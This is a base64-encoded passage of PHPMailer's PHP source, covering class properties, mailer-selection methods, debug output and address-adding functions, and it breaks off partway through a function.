CiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGV4Y2VwdGlvbnMgIT09IG51bGwpIHsKICAgICAgICAgICAgJHRoaXMtPmV4Y2VwdGlvbnMgPSAoYm9vbGVhbikkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQoKICAgIC8qKgogICAgICogRGVzdHJ1Y3Rvci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIC8vQ2xvc2UgYW55IG9wZW4gU01UUCBjb25uZWN0aW9uIG5pY2VseQogICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uCiAgICAgKiBBbHNvLCB1bmxlc3Mgc2VuZG1haWxfcGF0aCBwb2ludHMgdG8gc2VuZG1haWwgKG9yIHNvbWV0aGluZyB0aGF0CiAgICAgKiBjbGFpbXMgdG8gYmUgc2VuZG1haWwpLCBkb24ndCBwYXNzIHBhcmFtcyAobm90IGEgcGVyZmVjdCBmaXgsCiAgICAgKiBidXQgaXQgd2lsbCBkbykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRvIFRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgQWRkaXRpb25hbCBIZWFkZXIocykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhcmFtcyBQYXJhbXMKICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQogICAgewogICAgICAgIC8vQ2hlY2sgb3ZlcmxvYWRpbmcgb2YgbWFpbCBmdW5jdGlvbiB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7CiAgICAgICAgfQoKICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcwogICAgICAgIC8vQGxpbmsgaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1haWwucGhwCiAgICAgICAgaWYgKGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yICEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIGlzX251bGwoJHBhcmFtcykpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAncW1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKiBAbm90ZTogVGhpcyBmdW5jdGlvbiB3b3JrcyB3aXRoIHRoZSBTTVRQIG1haWxlciBvbiB3aW4zMiwgbm90IHdpdGggdGhlICJtYWlsIiBtYWlsZXIuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEByZXR1cm4gYm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIGlmIGFkZHJlc3MgYWxyZWFkeSB1c2VkIG9yIGludmFsaWQgaW4gc29tZSB3YXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdSZXBseS1UbycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCwgcmVzcC4gdG8gcmVwbHkgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCRraW5kLCAkYWRkcmVzcywgJG5hbWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1Uby